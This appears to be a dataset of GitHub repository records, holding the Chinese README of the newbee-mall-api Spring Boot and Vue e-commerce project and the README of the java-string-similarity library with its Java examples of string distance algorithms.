![](static-files/newbee-mall.png) ![Build Status](https://img.shields.io/badge/build-passing-green.svg) ![Version 2.0.0](https://img.shields.io/badge/version-2.0.0-yellow.svg) [![License](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/newbee-ltd/newbee-mall-api/blob/master/LICENSE) newbee-mall 项目是一套电商系统,基于 Spring Boot 和 Vue 以及相关技术栈开发。前台商城系统包含首页门户、商品分类、新品上线、首页轮播、商品推荐、商品搜索、商品展示、购物车、订单结算、订单流程、个人订单管理、会员中心、帮助中心等模块。 后台管理系统包含数据面板、轮播图管理、商品管理、订单管理、会员管理、分类管理、设置等模块。 当前分支的 Spring Boot 版本为 2.7.5,想要学习和使用其它版本可以直接点击下方的分支名称跳转至对应的仓库分支中。 | 分支名称 | Spring Boot Version | | ------------------------------------------------------------ | ------------------- | | [spring-boot-2.3.7](https://github.com/newbee-ltd/newbee-mall-api/tree/spring-boot-2.3.7) | 2.3.7-RELEASE | | [spring-boot-2.6.x](https://github.com/newbee-ltd/newbee-mall-api/tree/spring-boot-2.6.x) | 2.6.3 | | [main](https://github.com/newbee-ltd/nnewbee-mall-api) | 2.7.5 | | [spring-boot-3.x](https://github.com/newbee-ltd/newbee-mall-api/tree/spring-boot-3.x) | 3.1.0 | **坚持不易,如果觉得项目还不错的话可以给项目一个 Star 吧,也是对我一直更新代码的一种鼓励啦,谢谢各位的支持。** ![newbee-mall-info](https://newbee-mall.oss-cn-beijing.aliyuncs.com/poster/store/newbee-mall-star.png) ## newbee-mall (新蜂商城)系列项目概览 ![newbee-mall-course-2022](https://github.com/newbee-ltd/newbee-mall-cloud/raw/main/static-files/newbee-mall-course-2023.png) | 项目名称 | 仓库地址 | 备注 | | :------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | newbee-mall | [newbee-mall in GitHub](https://github.com/newbee-ltd/newbee-mall)<br>[newbee-mall in Gitee](https://gitee.com/newbee-ltd/newbee-mall) | 初始版本、Spring Boot、Thymeleaf、MyBatis、MySQL | | newbee-mall-plus | [newbee-mall-plus in GitHub](https://github.com/newbee-ltd/newbee-mall-plus)<br/>[newbee-mall-plus in Gitee](https://gitee.com/newbee-ltd/newbee-mall-plus) | 升级版本、优惠券、秒杀、支付、Spring Boot、Thymeleaf、MyBatis、MySQL、Redis | | newbee-mall-cloud | [newbee-mall-cloud in GitHub](https://github.com/newbee-ltd/newbee-mall-cloud)<br/>[newbee-mall-cloud in Gitee](https://gitee.com/newbee-ltd/newbee-mall-cloud) | 微服务版本、分布式事务、Spring Cloud Alibaba、Nacos、Sentinel、OpenFeign、Seata | | newbee-mall-api | [newbee-mall-api in GitHub](https://github.com/newbee-ltd/newbee-mall-api)<br/>[newbee-mall-api in Gitee](https://gitee.com/newbee-ltd/newbee-mall-api) | 前后端分离、Spring Boot、MyBatis、Swagger、MySQL | | newbee-mall-api-go | [newbee-mall-api-go in GitHub](https://github.com/newbee-ltd/newbee-mall-api-go)<br/>[newbee-mall-api-go in Gitee](https://gitee.com/newbee-ltd/newbee-mall-api-go) | 前后端分离、Go、Gin、MySQL | | newbee-mall-vue-app | [newbee-mall-vue-app in GitHub](https://github.com/newbee-ltd/newbee-mall-vue-app)<br/>[newbee-mall-vue-app in Gitee](https://gitee.com/newbee-ltd/newbee-mall-vue-app) | 前后端分离、Vue2、Vant | | newbee-mall-vue3-app | [newbee-mall-vue3-app in GitHub](https://github.com/newbee-ltd/newbee-mall-vue3-app)<br/>[newbee-mall-vue3-app in Gitee](https://gitee.com/newbee-ltd/newbee-mall-vue3-app) | 前后端分离、Vue3、Vue-Router4、Vuex4、Vant3 | | vue3-admin | [vue3-admin in GitHub](https://github.com/newbee-ltd/vue3-admin)<br/>[vue3-admin in Gitee](https://gitee.com/newbee-ltd/vue3-admin) | 前后端分离、Vue3、Element-Plus、Vue-Router4、Vite | > 更多 Spring Boot 实战项目可以关注十三的另一个代码仓库 [spring-boot-projects](https://github.com/ZHENFENG13/spring-boot-projects),该仓库中主要是 Spring Boot 的入门学习教程以及一些常用的 Spring Boot 实战项目教程,包括 Spring Boot 使用的各种示例代码,同时也包括一些实战项目的项目源码和效果展示,实战项目包括基本的 web 开发以及目前大家普遍使用的前后端分离实践项目等,后续会根据大家的反馈继续增加一些实战项目源码,摆脱各种 hello world 入门案例的束缚,真正的掌握 Spring Boot 开发。 关注公众号:**程序员十三**,回复"勾搭"进群交流。 ![wx-gzh](https://newbee-mall.oss-cn-beijing.aliyuncs.com/wx-gzh/%E7%A8%8B%E5%BA%8F%E5%91%98%E5%8D%81%E4%B8%89-%E5%85%AC%E4%BC%97%E5%8F%B7.png) ## 开发及部署文档 #### Vue3 + Spring Boot 版本 - [开篇词:通关 Vue3 企业级项目开发,升职加薪快人一步](https://juejin.cn/book/6933939264455442444) - [项目须知和课程约定](https://juejin.cn/book/6933939264455442444) - [大势所趋:“前后端分离”开发模式](https://juejin.cn/book/6933939264455442444) - [Vue3 简介及开发环境搭建](https://juejin.cn/book/6933939264455442444) - [Vue3 组合 API 入口 Setup 浅析](https://juejin.cn/book/6933939264455442444) - [Vue3 之响应式系统 API](https://juejin.cn/book/6933939264455442444) - [Vue3 之生命周期钩子函数、提供注入](https://juejin.cn/book/6933939264455442444) - [Vue3 性能和业务层面上的提升](https://juejin.cn/book/6933939264455442444) - [Vite2 原理分析及简单插件编写](https://juejin.cn/book/6933939264455442444) - [Vue-Router4 使用方法及路由原理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战项目启动篇](https://juejin.cn/book/6933939264455442444) - [后端 API 开发技术选型之 Spring Boot](https://juejin.cn/book/6933939264455442444) - [后端基础运行环境和开发工具准备](https://juejin.cn/book/6933939264455442444) - [Spring Boot 项目搭建及快速上手](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之 Web 功能开发](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之文件上传处理](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之整合 MyBatis 操作数据库](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之整合 Lombok](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之整合 Swagger 生成接口文档](https://juejin.cn/book/6933939264455442444) - [后端 API 项目启动和运行注意事项](https://juejin.cn/book/6933939264455442444) - [接口参数处理和统一响应结果](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之用户登录接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之用户身份认证详解](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之轮播图管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之商品分类管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之商品管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之商品配置管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之订单管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [前后端鉴权的四种方式](https://juejin.cn/book/6933939264455442444) - [Vite2 + Vue3 + Element-plus 搭建管理后台项目](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之管理后台左右栏目布局](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之登录鉴权](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之首页大盘数据](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之首页配置](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之分类管理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之商品管理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之订单管理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之会员管理、账户修改](https://juejin.cn/book/6933939264455442444) - [pm2 实现一键部署云端服务器](https://juejin.cn/book/6933939264455442444) - [常见问题汇总讲解](https://juejin.cn/book/6933939264455442444) #### Vue3 + Spring Boot 商城升级版本 - [开篇词:手把手带你搭建Vue3+Spring Boot大型前后端分离项目](https://juejin.im/book/6844733826191589390) - [项目须知和课程约定](https://juejin.im/book/6844733826191589390) - [2023年2月小册全新优化升级](https://juejin.im/book/6844733826191589390) - [全栈开发!你必须要知道的“前后端分离”](https://juejin.im/book/6844733826191589390) - [前端模块化的发展历史](https://juejin.im/book/6844733826191589390) - [传统页面和单页面的权衡与抉择](https://juejin.im/book/6844733826191589390) - [准备工作及基础环境搭建(后端)](https://juejin.im/book/6844733826191589390) - [Spring Boot 项目初体验--项目搭建及启动](https://juejin.im/book/6844733826191589390) - [项目编码简化利器!Spring Boot 整合 Lombok](https://juejin.im/book/6844733826191589390) - [Lombok 插件问题处理](https://juejin.im/book/6844733826191589390) - [商城后端项目启动和运行注意事项](https://juejin.im/book/6844733826191589390) - [VSCode 的相关配置及插件介绍](https://juejin.im/book/6844733826191589390) - [基础篇:Vue 指令](https://juejin.im/book/6844733826191589390) - [Vue3 新特性介绍](https://juejin.im/book/6844733826191589390) - [基础篇: CSS 预处理工具Less的介绍及使用](https://juejin.im/book/6844733826191589390) - [脚手架工具 Vite](https://juejin.im/book/6844733826191589390) - [Vue-Router 浅析原理及使用](https://juejin.im/book/6844733826191589390) - [全局状态管理插件 Pinia 简介及使用](https://juejin.im/book/6844733826191589390) - [商城前端 H5 开发环境搭建及项目启动](https://juejin.im/book/6844733826191589390) - [前后端交互文档利器!Spring Boot 整合 Swagger](https://juejin.im/book/6844733826191589390) - [接口参数处理和统一响应结果](https://juejin.im/book/6844733826191589390) - [口设计规范及接口调用实践](https://juejin.im/book/6844733826191589390) - [商城开发实战-用户登录接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-用户身份认证详解](https://juejin.im/book/6844733826191589390) - [商城开发实战-首页模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-分类模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-商品搜索模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-购物车模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-个人信息及收货地址接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-下单流程接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-订单处理流程详解](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-新蜂商城底部导航(抽离公共组件)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-新蜂商城登录注册页(前端鉴权)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商城首页制作(轮播图、首页商品列表)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商品分类页面制作(better-scrol的介绍及使用)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商品列表页面制作(无限滚动加载)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商品详情页面制作(Pinia 购物车数量全局管理)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商城购物车页面制作(购物车页)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-确认订单页面制作](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-地址栏管理页面制作](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-我的订单页面制作](https://juejin.im/book/6844733826191589390) - [常见问题汇总讲解](https://juejin.im/book/6844733826191589390) ## 联系作者 > 大家有任何问题或者建议都可以在 [issues](https://github.com/newbee-ltd/newbee-mall/issues) 中反馈给我,我会慢慢完善这个项目。 - 我的邮箱:2449207463@qq.com - QQ技术交流群:719099151 796794009 ## 软件著作权 >本系统已申请软件著作权,受国家版权局知识产权以及国家计算机软件著作权保护! ![](https://newbee-mall.oss-cn-beijing.aliyuncs.com/poster/store/newbee-mall-copyright-02.png) ## 接口文档 ![](static-files/newbee-mall-api-swagger.png) ## 页面展示 以下为新蜂商城 Vue 版本的页面预览: - 登录页 ![](static-files/登录.png) - 首页 ![](static-files/首页.png) - 商品搜索 ![](static-files/商品搜索.png) - 商品详情页 ![](static-files/详情页.png) - 购物车 ![](static-files/购物车.png) - 生成订单 ![](static-files/生成订单.png) - 地址管理 ![](static-files/地址管理.png) - 订单列表 ![](static-files/订单列表.png) - 订单详情 ![](static-files/订单详情.png) ## 感谢 - [spring-projects](https://github.com/spring-projects/spring-boot) - [mybatis](https://github.com/mybatis/mybatis-3) - [swagger](https://github.com/swagger-api) - [Lombok](https://github.com/rzwitserloot)
0
tdebatty/java-string-similarity
Implementation of various string similarity and distance algorithms: Levenshtein, Jaro-winkler, n-Gram, Q-Gram, Jaccard index, Longest Common Subsequence edit distance, cosine similarity ...
algorithm cosine-similarity damerau-levenshtein distance distance-measure jaro-winkler java levenshtein-distance shingles similarity-measures string-distance
# java-string-similarity [![Maven Central](https://maven-badges.herokuapp.com/maven-central/info.debatty/java-string-similarity/badge.svg)](https://maven-badges.herokuapp.com/maven-central/info.debatty/java-string-similarity) [![Build Status](https://github.com/tdebatty/java-string-similarity/actions/workflows/maven.yml/badge.svg)](https://github.com/tdebatty/java-string-similarity/actions/workflows/maven.yml) [![Coverage Status](https://coveralls.io/repos/tdebatty/java-string-similarity/badge.svg?branch=master&service=github)](https://coveralls.io/github/tdebatty/java-string-similarity?branch=master) [![Javadocs](http://www.javadoc.io/badge/info.debatty/java-string-similarity.svg)](http://www.javadoc.io/doc/info.debatty/java-string-similarity) A library implementing different string similarity and distance measures. A dozen of algorithms (including Levenshtein edit distance and sibblings, Jaro-Winkler, Longest Common Subsequence, cosine similarity etc.) are currently implemented. Check the summary table below for the complete list... * [Download](#download) * [Overview](#overview) * [Normalized, metric, similarity and distance](#normalized-metric-similarity-and-distance) * [Shingles (n-gram) based similarity and distance](#shingles-n-gram-based-similarity-and-distance) * [Levenshtein](#levenshtein) * [Normalized Levenshtein](#normalized-levenshtein) * [Weighted Levenshtein](#weighted-levenshtein) * [Damerau-Levenshtein](#damerau-levenshtein) * [Optimal String Alignment](#optimal-string-alignment) * [Jaro-Winkler](#jaro-winkler) * [Longest Common Subsequence](#longest-common-subsequence) * [Metric Longest Common Subsequence](#metric-longest-common-subsequence) * [N-Gram](#n-gram) * [Shingle (n-gram) based algorithms](#shingle-n-gram-based-algorithms) * [Q-Gram](#shingle-n-gram-based-algorithms) * [Cosine similarity](#shingle-n-gram-based-algorithms) * [Jaccard index](#shingle-n-gram-based-algorithms) * [Sorensen-Dice coefficient](#shingle-n-gram-based-algorithms) * [Ratcliff-Obershelp](#ratcliff-obershelp) * [Experimental](#experimental) * [SIFT4](#sift4) * [Users](#users) ## Download Using maven: ``` <dependency> <groupId>info.debatty</groupId> <artifactId>java-string-similarity</artifactId> <version>RELEASE</version> </dependency> ``` Or check the [releases](https://github.com/tdebatty/java-string-similarity/releases). This library requires Java 8 or more recent. ## Overview The main characteristics of each implemented algorithm are presented below. The "cost" column gives an estimation of the computational cost to compute the similarity between two strings of length m and n respectively. | | | Normalized? | Metric? | Type | Cost | Typical usage | | -------- |------- |------------- |-------- | ------ | ---- | --- | | [Levenshtein](#levenshtein) |distance | No | Yes | | O(m*n) <sup>1</sup> | | | [Normalized Levenshtein](#normalized-levenshtein) |distance<br>similarity | Yes | No | | O(m*n) <sup>1</sup> | | | [Weighted Levenshtein](#weighted-levenshtein) |distance | No | No | | O(m*n) <sup>1</sup> | OCR | | [Damerau-Levenshtein](#damerau-levenshtein) <sup>3</sup> |distance | No | Yes | | O(m*n) <sup>1</sup> | | | [Optimal String Alignment](#optimal-string-alignment) <sup>3</sup> |distance | No | No | | O(m*n) <sup>1</sup> | | | [Jaro-Winkler](#jaro-winkler) |similarity<br>distance | Yes | No | | O(m*n) | typo correction | | [Longest Common Subsequence](#longest-common-subsequence) |distance | No | No | | O(m*n) <sup>1,2</sup> | diff utility, GIT reconciliation | | [Metric Longest Common Subsequence](#metric-longest-common-subsequence) |distance | Yes | Yes | | O(m*n) <sup>1,2</sup> | | | [N-Gram](#n-gram) |distance | Yes | No | | O(m*n) | | | [Q-Gram](#q-gram) |distance | No | No | Profile | O(m+n) | | | [Cosine similarity](#cosine-similarity) |similarity<br>distance | Yes | No | Profile | O(m+n) | | | [Jaccard index](#jaccard-index) |similarity<br>distance | Yes | Yes | Set | O(m+n) | | | [Sorensen-Dice coefficient](#sorensen-dice-coefficient) |similarity<br>distance | Yes | No | Set | O(m+n) | | | [Ratcliff-Obershelp](#ratcliff-obershelp) |similarity<br>distance | Yes | No | | ? | | [1] In this library, Levenshtein edit distance, LCS distance and their sibblings are computed using the **dynamic programming** method, which has a cost O(m.n). For Levenshtein distance, the algorithm is sometimes called **Wagner-Fischer algorithm** ("The string-to-string correction problem", 1974). The original algorithm uses a matrix of size m x n to store the Levenshtein distance between string prefixes. If the alphabet is finite, it is possible to use the **method of four russians** (Arlazarov et al. "On economic construction of the transitive closure of a directed graph", 1970) to speedup computation. This was published by Masek in 1980 ("A Faster Algorithm Computing String Edit Distances"). This method splits the matrix in blocks of size t x t. Each possible block is precomputed to produce a lookup table. This lookup table can then be used to compute the string similarity (or distance) in O(nm/t). Usually, t is choosen as log(m) if m > n. The resulting computation cost is thus O(mn/log(m)). This method has not been implemented (yet). [2] In "Length of Maximal Common Subsequences", K.S. Larsen proposed an algorithm that computes the length of LCS in time O(log(m).log(n)). But the algorithm has a memory requirement O(m.n²) and was thus not implemented here. [3] There are two variants of Damerau-Levenshtein string distance: Damerau-Levenshtein with adjacent transpositions (also sometimes called unrestricted Damerau–Levenshtein distance) and Optimal String Alignment (also sometimes called restricted edit distance). For Optimal String Alignment, no substring can be edited more than once. ## Normalized, metric, similarity and distance Although the topic might seem simple, a lot of different algorithms exist to measure text similarity or distance. Therefore the library defines some interfaces to categorize them. ### (Normalized) similarity and distance - StringSimilarity : Implementing algorithms define a similarity between strings (0 means strings are completely different). - NormalizedStringSimilarity : Implementing algorithms define a similarity between 0.0 and 1.0, like Jaro-Winkler for example. - StringDistance : Implementing algorithms define a distance between strings (0 means strings are identical), like Levenshtein for example. The maximum distance value depends on the algorithm. - NormalizedStringDistance : This interface extends StringDistance. For implementing classes, the computed distance value is between 0.0 and 1.0. NormalizedLevenshtein is an example of NormalizedStringDistance. Generally, algorithms that implement NormalizedStringSimilarity also implement NormalizedStringDistance, and similarity = 1 - distance. But there are a few exceptions, like N-Gram similarity and distance (Kondrak)... ### Metric distances The MetricStringDistance interface : A few of the distances are actually metric distances, which means that verify the triangle inequality d(x, y) <= d(x,z) + d(z,y). For example, Levenshtein is a metric distance, but NormalizedLevenshtein is not. A lot of nearest-neighbor search algorithms and indexing structures rely on the triangle inequality. You can check "Similarity Search, The Metric Space Approach" by Zezula et al. for a survey. These cannot be used with non metric similarity measures. [Read Javadoc for a detailed description](http://www.javadoc.io/doc/info.debatty/java-string-similarity) ## Shingles (n-gram) based similarity and distance A few algorithms work by converting strings into sets of n-grams (sequences of n characters, also sometimes called k-shingles). The similarity or distance between the strings is then the similarity or distance between the sets. Some of them, like jaccard, consider strings as sets of shingles, and don't consider the number of occurences of each shingle. Others, like cosine similarity, work using what is sometimes called the profile of the strings, which takes into account the number of occurences of each shingle. For these algorithms, another use case is possible when dealing with large datasets: 1. compute the set or profile representation of all the strings 2. compute the similarity between sets or profiles ## Levenshtein The Levenshtein distance between two words is the minimum number of single-character edits (insertions, deletions or substitutions) required to change one word into the other. It is a metric string distance. This implementation uses dynamic programming (Wagner–Fischer algorithm), with only 2 rows of data. The space requirement is thus O(m) and the algorithm runs in O(m.n). ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main (String[] args) { Levenshtein l = new Levenshtein(); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); } } ``` ## Normalized Levenshtein This distance is computed as levenshtein distance divided by the length of the longest string. The resulting value is always in the interval [0.0 1.0] but it is not a metric anymore! The similarity is computed as 1 - normalized distance. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main (String[] args) { NormalizedLevenshtein l = new NormalizedLevenshtein(); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); } } ``` ## Weighted Levenshtein An implementation of Levenshtein that allows to define different weights for different character substitutions. This algorithm is usually used for optical character recognition (OCR) applications. For OCR, the cost of substituting P and R is lower then the cost of substituting P and M for example because because from and OCR point of view P is similar to R. It can also be used for keyboard typing auto-correction. Here the cost of substituting E and R is lower for example because these are located next to each other on an AZERTY or QWERTY keyboard. Hence the probability that the user mistyped the characters is higher. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { WeightedLevenshtein wl = new WeightedLevenshtein( new CharacterSubstitutionInterface() { public double cost(char c1, char c2) { // The cost for substituting 't' and 'r' is considered // smaller as these 2 are located next to each other // on a keyboard if (c1 == 't' && c2 == 'r') { return 0.5; } // For most cases, the cost of substituting 2 characters // is 1.0 return 1.0; } }); System.out.println(wl.distance("String1", "Srring2")); } } ``` ## Damerau-Levenshtein Similar to Levenshtein, Damerau-Levenshtein distance with transposition (also sometimes calls unrestricted Damerau-Levenshtein distance) is the minimum number of operations needed to transform one string into the other, where an operation is defined as an insertion, deletion, or substitution of a single character, or a **transposition of two adjacent characters**. It does respect triangle inequality, and is thus a metric distance. This is not to be confused with the optimal string alignment distance, which is an extension where no substring can be edited more than once. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { Damerau d = new Damerau(); // 1 substitution System.out.println(d.distance("ABCDEF", "ABDCEF")); // 2 substitutions System.out.println(d.distance("ABCDEF", "BACDFE")); // 1 deletion System.out.println(d.distance("ABCDEF", "ABCDE")); System.out.println(d.distance("ABCDEF", "BCDEF")); System.out.println(d.distance("ABCDEF", "ABCGDEF")); // All different System.out.println(d.distance("ABCDEF", "POIU")); } } ``` Will produce: ``` 1.0 2.0 1.0 1.0 1.0 6.0 ``` ## Optimal String Alignment The Optimal String Alignment variant of Damerau–Levenshtein (sometimes called the restricted edit distance) computes the number of edit operations needed to make the strings equal under the condition that **no substring is edited more than once**, whereas the true Damerau–Levenshtein presents no such restriction. The difference from the algorithm for Levenshtein distance is the addition of one recurrence for the transposition operations. Note that for the optimal string alignment distance, the triangle inequality does not hold and so it is not a true metric. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { OptimalStringAlignment osa = new OptimalStringAlignment(); System.out.println(osa.distance("CA", "ABC"));; } } ``` Will produce: ``` 3.0 ``` ## Jaro-Winkler Jaro-Winkler is a string edit distance that was developed in the area of record linkage (duplicate detection) (Winkler, 1990). The Jaro–Winkler distance metric is designed and best suited for short strings such as person names, and to detect transposition typos. Jaro-Winkler computes the similarity between 2 strings, and the returned value lies in the interval [0.0, 1.0]. It is (roughly) a variation of Damerau-Levenshtein, where the transposition of 2 close characters is considered less important than the transposition of 2 characters that are far from each other. Jaro-Winkler penalizes additions or substitutions that cannot be expressed as transpositions. The distance is computed as 1 - Jaro-Winkler similarity. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { JaroWinkler jw = new JaroWinkler(); // substitution of s and t System.out.println(jw.similarity("My string", "My tsring")); // substitution of s and n System.out.println(jw.similarity("My string", "My ntrisg")); } } ``` will produce: ``` 0.9740740656852722 0.8962963223457336 ``` ## Longest Common Subsequence The longest common subsequence (LCS) problem consists in finding the longest subsequence common to two (or more) sequences. It differs from problems of finding common substrings: unlike substrings, subsequences are not required to occupy consecutive positions within the original sequences. It is used by the diff utility, by Git for reconciling multiple changes, etc. The LCS distance between strings X (of length n) and Y (of length m) is n + m - 2 |LCS(X, Y)| min = 0 max = n + m LCS distance is equivalent to Levenshtein distance when only insertion and deletion is allowed (no substitution), or when the cost of the substitution is the double of the cost of an insertion or deletion. This class implements the dynamic programming approach, which has a space requirement O(m.n), and computation cost O(m.n). In "Length of Maximal Common Subsequences", K.S. Larsen proposed an algorithm that computes the length of LCS in time O(log(m).log(n)). But the algorithm has a memory requirement O(m.n²) and was thus not implemented here. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { LongestCommonSubsequence lcs = new LongestCommonSubsequence(); // Will produce 4.0 System.out.println(lcs.distance("AGCAT", "GAC")); // Will produce 1.0 System.out.println(lcs.distance("AGCAT", "AGCT")); } } ``` ## Metric Longest Common Subsequence Distance metric based on Longest Common Subsequence, from the notes "An LCS-based string metric" by Daniel Bakkelund. http://heim.ifi.uio.no/~danielry/StringMetric.pdf The distance is computed as 1 - |LCS(s1, s2)| / max(|s1|, |s2|) ```java public class MyApp { public static void main(String[] args) { info.debatty.java.stringsimilarity.MetricLCS lcs = new info.debatty.java.stringsimilarity.MetricLCS(); String s1 = "ABCDEFG"; String s2 = "ABCDEFHJKL"; // LCS: ABCDEF => length = 6 // longest = s2 => length = 10 // => 1 - 6/10 = 0.4 System.out.println(lcs.distance(s1, s2)); // LCS: ABDF => length = 4 // longest = ABDEF => length = 5 // => 1 - 4 / 5 = 0.2 System.out.println(lcs.distance("ABDEF", "ABDIF")); } } ``` ## N-Gram Normalized N-Gram distance as defined by Kondrak, "N-Gram Similarity and Distance", String Processing and Information Retrieval, Lecture Notes in Computer Science Volume 3772, 2005, pp 115-126. http://webdocs.cs.ualberta.ca/~kondrak/papers/spire05.pdf The algorithm uses affixing with special character '\n' to increase the weight of first characters. The normalization is achieved by dividing the total similarity score the original length of the longest word. In the paper, Kondrak also defines a similarity measure, which is not implemented (yet). ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { // produces 0.583333 NGram twogram = new NGram(2); System.out.println(twogram.distance("ABCD", "ABTUIO")); // produces 0.97222 String s1 = "Adobe CreativeSuite 5 Master Collection from cheap 4zp"; String s2 = "Adobe CreativeSuite 5 Master Collection from cheap d1x"; NGram ngram = new NGram(4); System.out.println(ngram.distance(s1, s2)); } } ``` ## Shingle (n-gram) based algorithms A few algorithms work by converting strings into sets of n-grams (sequences of n characters, also sometimes called k-shingles). The similarity or distance between the strings is then the similarity or distance between the sets. The cost for computing these similarities and distances is mainly domnitated by k-shingling (converting the strings into sequences of k characters). Therefore there are typically two use cases for these algorithms: Directly compute the distance between strings: ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { QGram dig = new QGram(2); // AB BC CD CE // 1 1 1 0 // 1 1 0 1 // Total: 2 System.out.println(dig.distance("ABCD", "ABCE")); } } ``` Or, for large datasets, pre-compute the profile of all strings. The similarity can then be computed between profiles: ```java import info.debatty.java.stringsimilarity.KShingling; import info.debatty.java.stringsimilarity.StringProfile; /** * Example of computing cosine similarity with pre-computed profiles. */ public class PrecomputedCosine { public static void main(String[] args) throws Exception { String s1 = "My first string"; String s2 = "My other string..."; // Let's work with sequences of 2 characters... Cosine cosine = new Cosine(2); // Pre-compute the profile of strings Map<String, Integer> profile1 = cosine.getProfile(s1); Map<String, Integer> profile2 = cosine.getProfile(s2); // Prints 0.516185 System.out.println(cosine.similarity(profile1, profile2)); } } ``` Pay attention, this only works if the same KShingling object is used to parse all input strings ! ### Q-Gram Q-gram distance, as defined by Ukkonen in "Approximate string-matching with q-grams and maximal matches" http://www.sciencedirect.com/science/article/pii/0304397592901434 The distance between two strings is defined as the L1 norm of the difference of their profiles (the number of occurences of each n-gram): SUM( |V1_i - V2_i| ). Q-gram distance is a lower bound on Levenshtein distance, but can be computed in O(m + n), where Levenshtein requires O(m.n) ### Cosine similarity The similarity between the two strings is the cosine of the angle between these two vectors representation, and is computed as V1 . V2 / (|V1| * |V2|) Distance is computed as 1 - cosine similarity. ### Jaccard index Like Q-Gram distance, the input strings are first converted into sets of n-grams (sequences of n characters, also called k-shingles), but this time the cardinality of each n-gram is not taken into account. Each input string is simply a set of n-grams. The Jaccard index is then computed as |V1 inter V2| / |V1 union V2|. Distance is computed as 1 - similarity. Jaccard index is a metric distance. ### Sorensen-Dice coefficient Similar to Jaccard index, but this time the similarity is computed as 2 * |V1 inter V2| / (|V1| + |V2|). Distance is computed as 1 - similarity. ## Ratcliff-Obershelp Ratcliff/Obershelp Pattern Recognition, also known as Gestalt Pattern Matching, is a string-matching algorithm for determining the similarity of two strings. It was developed in 1983 by John W. Ratcliff and John A. Obershelp and published in the Dr. Dobb's Journal in July 1988 Ratcliff/Obershelp computes the similarity between 2 strings, and the returned value lies in the interval [0.0, 1.0]. The distance is computed as 1 - Ratcliff/Obershelp similarity. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { RatcliffObershelp ro = new RatcliffObershelp(); // substitution of s and t System.out.println(ro.similarity("My string", "My tsring")); // substitution of s and n System.out.println(ro.similarity("My string", "My ntrisg")); } } ``` will produce: ``` 0.8888888888888888 0.7777777777777778 ``` ## Experimental ### SIFT4 SIFT4 is a general purpose string distance algorithm inspired by JaroWinkler and Longest Common Subsequence. It was developed to produce a distance measure that matches as close as possible to the human perception of string distance. Hence it takes into account elements like character substitution, character distance, longest common subsequence etc. It was developed using experimental testing, and without theoretical background. ``` import info.debatty.java.stringsimilarity.experimental.Sift4; public class MyApp { public static void main(String[] args) { String s1 = "This is the first string"; String s2 = "And this is another string"; Sift4 sift4 = new Sift4(); sift4.setMaxOffset(5); double expResult = 11.0; double result = sift4.distance(s1, s2); assertEquals(expResult, result, 0.0); } } ``` ## Users * [StringSimilarity.NET](https://github.com/feature23/StringSimilarity.NET) a .NET port of java-string-similarity * [OrientDB string-metrics](https://github.com/orientechnologies/extra-functions/tree/master/string-metrics) wraps java-string-similarity to provide different string similarity and distance measures as SQL functions in [OrientDB](https://github.com/orientechnologies/orientdb) Use java-string-similarity in your project and want it to be mentioned here? Don't hesitate to drop me a line! ## Security & stability [![security status](https://www.meterian.io/badge/gh/tdebatty/java-string-similarity/security)](https://www.meterian.io/report/gh/tdebatty/java-string-similarity) [![stability status](https://www.meterian.io/badge/gh/tdebatty/java-string-similarity/stability)](https://www.meterian.io/report/gh/tdebatty/java-string-similarity)
0
HanSolo/tilesfx
